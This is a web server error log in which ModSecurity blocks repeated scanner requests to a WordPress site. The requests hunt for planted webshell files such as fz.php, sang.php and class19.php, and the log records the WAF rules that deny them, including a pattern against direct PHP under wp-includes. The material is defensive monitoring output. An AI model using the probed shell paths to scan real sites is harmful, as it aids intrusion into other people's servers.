[Thu Feb 26 22:24:47.365897 2026] [:error] [pid 25311:tid 25338] [client 4.194.131.131:2839] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aaBXr9fdM__yZAgJFSvrxwAAAZg"]
[Thu Feb 26 22:24:47.624767 2026] [:error] [pid 54991:tid 55032] [client 4.194.131.131:2427] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aaBXr94Zx-mJ8gbRB2j-RQAAAEw"]
[Thu Feb 26 22:24:47.688851 2026] [:error] [pid 44444:tid 44459] [client 20.151.107.14:62852] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/pki-validation/index.php"] [unique_id "aaBXr22sMNmj-yekUk1NZwAAAgk"]
[Thu Feb 26 22:24:47.798616 2026] [:error] [pid 44444:tid 44454] [client 4.194.131.131:2396] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fz.php"] [unique_id "aaBXr22sMNmj-yekUk1NaQAAAgQ"]
[Thu Feb 26 22:24:47.974533 2026] [:error] [pid 44444:tid 44460] [client 4.194.131.131:2327] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fz.php"] [unique_id "aaBXr22sMNmj-yekUk1NbQAAAgo"]
[Thu Feb 26 22:24:48.114654 2026] [:error] [pid 44444:tid 44462] [client 20.151.107.14:62970] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/index.php"] [unique_id "aaBXsG2sMNmj-yekUk1NcAAAAgw"]
[Thu Feb 26 22:24:48.169575 2026] [:error] [pid 44444:tid 44461] [client 4.194.131.131:2860] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fz.php"] [unique_id "aaBXsG2sMNmj-yekUk1NcQAAAgs"]
[Thu Feb 26 22:24:48.367778 2026] [:error] [pid 54990:tid 54999] [client 4.194.131.131:2338] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fz.php"] [unique_id "aaBXsHtr2qmt_mBhH2wvPwAAAAY"]
[Thu Feb 26 22:24:48.544737 2026] [:error] [pid 55051:tid 55055] [client 4.194.131.131:2387] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sang.php"] [unique_id "aaBXsAmK1w2kZvh5eLHPvAAAAIE"]
[Thu Feb 26 22:24:48.697495 2026] [:error] [pid 55051:tid 55064] [client 20.151.107.14:64203] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/index.php"] [unique_id "aaBXsAmK1w2kZvh5eLHPwAAAAIo"]
[Thu Feb 26 22:24:48.744355 2026] [:error] [pid 55051:tid 55067] [client 4.194.131.131:2821] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sang.php"] [unique_id "aaBXsAmK1w2kZvh5eLHPwQAAAI0"]
[Thu Feb 26 22:24:48.921266 2026] [:error] [pid 55051:tid 55068] [client 4.194.131.131:2866] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sang.php"] [unique_id "aaBXsAmK1w2kZvh5eLHPwwAAAI4"]
[Thu Feb 26 22:24:49.105864 2026] [:error] [pid 44444:tid 44471] [client 4.194.131.131:2314] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sang.php"] [unique_id "aaBXsW2sMNmj-yekUk1NdAAAAhU"]
[Thu Feb 26 22:24:49.150166 2026] [:error] [pid 55051:tid 55069] [client 20.151.107.14:62966] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/index.php"] [unique_id "aaBXsQmK1w2kZvh5eLHPxwAAAI8"]
[Thu Feb 26 22:24:49.282758 2026] [:error] [pid 44444:tid 44451] [client 4.194.131.131:2388] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0o0.php"] [unique_id "aaBXsW2sMNmj-yekUk1NdgAAAgE"]
[Thu Feb 26 22:24:49.471474 2026] [:error] [pid 44444:tid 44459] [client 4.194.131.131:2744] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0o0.php"] [unique_id "aaBXsW2sMNmj-yekUk1NeAAAAgk"]
[Thu Feb 26 22:24:49.630900 2026] [:error] [pid 44444:tid 44452] [client 20.151.107.14:64183] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/index.php"] [unique_id "aaBXsW2sMNmj-yekUk1NfAAAAgI"]
[Thu Feb 26 22:24:49.652238 2026] [:error] [pid 44444:tid 44463] [client 4.194.131.131:2416] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0o0.php"] [unique_id "aaBXsW2sMNmj-yekUk1NfgAAAg0"]
[Thu Feb 26 22:24:49.880806 2026] [:error] [pid 44444:tid 44450] [client 4.194.131.131:2380] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0o0.php"] [unique_id "aaBXsW2sMNmj-yekUk1NggAAAgA"]
[Thu Feb 26 22:24:50.095548 2026] [:error] [pid 44444:tid 44467] [client 4.194.131.131:2323] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aaBXsm2sMNmj-yekUk1NhQAAAhE"]
[Thu Feb 26 22:24:50.274590 2026] [:error] [pid 44444:tid 44474] [client 4.194.131.131:2413] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aaBXsm2sMNmj-yekUk1NiAAAAhg"]
[Thu Feb 26 22:24:50.489615 2026] [:error] [pid 55051:tid 55056] [client 4.194.131.131:2865] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aaBXsgmK1w2kZvh5eLHP0AAAAII"]
[Thu Feb 26 22:24:50.676546 2026] [:error] [pid 44444:tid 44466] [client 4.194.131.131:2877] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aaBXsm2sMNmj-yekUk1NigAAAhA"]
[Thu Feb 26 22:24:50.861326 2026] [:error] [pid 54991:tid 55040] [client 4.194.131.131:2339] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aaBXst4Zx-mJ8gbRB2j-SQAAAFQ"]
[Thu Feb 26 22:24:51.039392 2026] [:error] [pid 54990:tid 55013] [client 4.194.131.131:2329] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aaBXs3tr2qmt_mBhH2wvQAAAABQ"]
[Thu Feb 26 22:24:51.233160 2026] [:error] [pid 55051:tid 55076] [client 4.194.131.131:2823] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aaBXswmK1w2kZvh5eLHP1QAAAJY"]
[Thu Feb 26 22:24:51.415903 2026] [:error] [pid 55051:tid 55061] [client 4.194.131.131:2342] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aaBXswmK1w2kZvh5eLHP1gAAAIc"]
[Thu Feb 26 22:24:51.471314 2026] [autoindex:error] [pid 44444:tid 44463] [client 20.151.107.14:61398] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 22:24:51.594995 2026] [:error] [pid 55051:tid 55060] [client 4.194.131.131:2398] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aaBXswmK1w2kZvh5eLHP1wAAAIY"]
[Thu Feb 26 22:24:51.771153 2026] [:error] [pid 44444:tid 44461] [client 4.194.131.131:2341] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aaBXs22sMNmj-yekUk1NkwAAAgs"]
[Thu Feb 26 22:24:51.960111 2026] [:error] [pid 44444:tid 44460] [client 4.194.131.131:2379] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aaBXs22sMNmj-yekUk1NmAAAAgo"]
[Thu Feb 26 22:24:52.190410 2026] [:error] [pid 44444:tid 44472] [client 4.194.131.131:2348] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aaBXtG2sMNmj-yekUk1NnAAAAhY"]
[Thu Feb 26 22:24:52.395952 2026] [:error] [pid 55618:tid 55639] [client 4.194.131.131:2343] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aaBXtB61Vrh12f_8oWQUpAAAARI"]
[Thu Feb 26 22:24:52.575705 2026] [:error] [pid 3883:tid 3909] [client 4.194.131.131:2404] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aaBXtOA33x90V6yYHaj2cAAAAVc"]
[Thu Feb 26 22:24:52.756583 2026] [:error] [pid 44444:tid 44456] [client 4.194.131.131:2848] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aaBXtG2sMNmj-yekUk1NoQAAAgY"]
[Thu Feb 26 22:24:52.936240 2026] [:error] [pid 44444:tid 44462] [client 4.194.131.131:2378] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aaBXtG2sMNmj-yekUk1NowAAAgw"]
[Thu Feb 26 22:24:53.116442 2026] [:error] [pid 44444:tid 44467] [client 4.194.131.131:2325] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aaBXtW2sMNmj-yekUk1NpgAAAhE"]
[Thu Feb 26 22:24:53.318194 2026] [:error] [pid 54991:tid 55031] [client 4.194.131.131:2406] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aaBXtd4Zx-mJ8gbRB2j-SwAAAEs"]
[Thu Feb 26 22:24:53.501163 2026] [:error] [pid 44444:tid 44460] [client 4.194.131.131:2859] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aaBXtW2sMNmj-yekUk1NqgAAAgo"]
[Thu Feb 26 22:24:53.691101 2026] [:error] [pid 44444:tid 44465] [client 4.194.131.131:2849] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aaBXtW2sMNmj-yekUk1NrQAAAg8"]
[Thu Feb 26 22:24:53.878026 2026] [:error] [pid 55051:tid 55078] [client 4.194.131.131:2822] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaBXtQmK1w2kZvh5eLHP3gAAAJg"]
[Thu Feb 26 22:24:54.056748 2026] [:error] [pid 55051:tid 55072] [client 4.194.131.131:2428] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaBXtgmK1w2kZvh5eLHP4AAAAJI"]
[Thu Feb 26 22:24:54.275241 2026] [:error] [pid 55051:tid 55062] [client 4.194.131.131:2845] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaBXtgmK1w2kZvh5eLHP4QAAAIg"]
[Thu Feb 26 22:24:54.477587 2026] [:error] [pid 55051:tid 55076] [client 4.194.131.131:2748] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaBXtgmK1w2kZvh5eLHP4wAAAJY"]
[Thu Feb 26 22:24:54.699320 2026] [:error] [pid 44444:tid 44468] [client 4.194.131.131:2384] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/randkeyword.php"] [unique_id "aaBXtm2sMNmj-yekUk1NswAAAhI"]
[Thu Feb 26 22:24:54.878293 2026] [:error] [pid 25311:tid 25326] [client 4.194.131.131:2868] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/randkeyword.php"] [unique_id "aaBXttfdM__yZAgJFSvryQAAAYw"]
[Thu Feb 26 22:24:55.064282 2026] [:error] [pid 54991:tid 55041] [client 4.194.131.131:2362] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/randkeyword.php"] [unique_id "aaBXt94Zx-mJ8gbRB2j-UAAAAFU"]
[Thu Feb 26 22:24:55.252792 2026] [:error] [pid 55051:tid 55075] [client 4.194.131.131:2702] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/randkeyword.php"] [unique_id "aaBXtwmK1w2kZvh5eLHP5QAAAJU"]
[Thu Feb 26 22:24:55.571238 2026] [:error] [pid 55051:tid 55061] [client 4.194.131.131:2852] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aaBXtwmK1w2kZvh5eLHP5gAAAIc"]
[Thu Feb 26 22:24:55.803093 2026] [:error] [pid 25311:tid 25320] [client 4.194.131.131:2386] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aaBXt9fdM__yZAgJFSvrywAAAYY"]
[Thu Feb 26 22:24:55.988336 2026] [:error] [pid 55051:tid 55055] [client 4.194.131.131:2373] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aaBXtwmK1w2kZvh5eLHP6QAAAIE"]
[Thu Feb 26 22:24:56.205123 2026] [:error] [pid 25311:tid 25319] [client 4.194.131.131:2863] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aaBXuNfdM__yZAgJFSvrzQAAAYU"]
[Thu Feb 26 22:24:56.401428 2026] [:error] [pid 44444:tid 44463] [client 4.194.131.131:2364] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aaBXuG2sMNmj-yekUk1NvQAAAg0"]
[Thu Feb 26 22:24:56.419532 2026] [autoindex:error] [pid 44444:tid 44474] [client 20.151.107.14:61398] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 22:24:56.629675 2026] [:error] [pid 44444:tid 44472] [client 4.194.131.131:2749] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aaBXuG2sMNmj-yekUk1NwQAAAhY"]
[Thu Feb 26 22:24:56.735902 2026] [:error] [pid 44444:tid 44465] [client 20.151.107.14:61398] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaBXuG2sMNmj-yekUk1NwgAAAg8"]
